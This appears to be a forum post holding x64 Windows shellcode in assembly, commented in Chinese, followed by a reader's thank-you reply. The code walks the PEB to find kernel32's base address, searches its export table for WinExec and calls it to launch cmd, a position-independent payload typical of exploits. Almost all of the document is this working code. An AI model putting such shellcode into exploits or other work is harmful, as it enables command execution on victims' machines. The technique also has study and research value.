push rax
        push rcx
        push rdx
        push rbx
        push rsi
        push rdi
        push rbp
        mov rdx,60h ; 60h => rdx
         
        sub rsp,28h
        mov rsi,qword [gs:rdx]   ;peb => rsi
        mov rsi,qword [rsi+18h] ;peb->Ldr => rsi
        mov rsi,qword [rsi+10h] ;peb->Ldr->InLoadOrderModuleList.Fink => rsi  ;进程模块
        lodsq    ; peb->Ldr->InLoadOrderModuleList.Fink->Flink => rax;  ntdll.dll
        mov rsi,qword [rax] ; peb->Ldr->InLoadOrderModuleList.Fink->Flink->Flink => rsi ;kernel32.dll
        mov rdi,qword [rsi+30h] ;pLDRDataTableEntry->DllBase => rdi ;kernel32.dll基址
        add edx,dword [rdi+3Ch] ;pImageDosHeader->e_lfanew + 60h => edx
        mov ebx,dword [rdi+rdx+28h] ;pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress => ebx
        mov esi,dword [rdi+rbx+20h]   ;pImageExportDirectory->AddressOfNames => esi
        add rsi,rdi ;(ULONG_PTR)pLDRDataTableEntry->DllBase+pImageExportDirectory->AddressOfNames => rsi ;计为: pdwExportFuncNameTable
        mov edx,dword [rdi+rbx+24h] ;pImageExportDirectory->AddressOfNameOrdinals => edx
        d:
            movzx ebp,word [rdi+rdx]  ; pwNameOrdinals[i] =>j=> ebp; pwNameOrdinals索引i初始计为0，j为 pdwExportFuncRVATable索引
            lea edx,qword [rdx+2h] ;指针向后移了2字节，相当于pwNameOrdinals索引i加1
            lodsd ;  pExportFuncNameTable[k] => eax ;k为pExportFuncNameTable索引，初始为0，每执行这条指令随着rsi+4, k加1
            cmp dword [rdi+rax],456E6957h  ; (ULONG_PTR)pLDRDataTableEntry->DllBase+ pdwExportFuncNameTable[k-1]指向导出函数名; 判断函数名的前4个字符是否是'WinE' (是则结束循环),WinE开头的第1个函数就是WinExec
            jnz d
        mov esi,dword [rdi+rbx+1Ch] ;pImageExportDirectory->AddressOfFunctions => esi 
        add rsi,rdi  ;(ULONG_PTR)pLDRDataTableEntry->DllBase+pImageExportDirectory->AddressOfFunctions =>rsi ;计为: pdwExportFuncRVATable
        mov esi,dword [rsi+rbp*4h] ; pdwExportFuncRVATable[j] => esi ;得到WinExec的RVA
        add rdi,rsi   ;(ULONG_PTR)pLDRDataTableEntry->DllBase + pdwExportFuncRVATable[j] => rsi ;得到WinExec的VA
 
        inc rdx ; nCmdShow ;pImageExportDirectory->AddressOfNameOrdinals+i*2+1 => rdx ???
        push 646D63h  ; 'cmd'
        push rsp
        pop rcx  ;lpCmdLine  ;'cmd'
        call rdi  ;调用WinExec
 
        ;堆栈及一些寄存器恢复然后返回
        add rsp,30h 
        pop rbp
        pop rdi
        pop rsi
        pop rbx
        pop rdx
        pop rcx
        pop rax
        ret

楼主牛！感谢提供！我收藏了！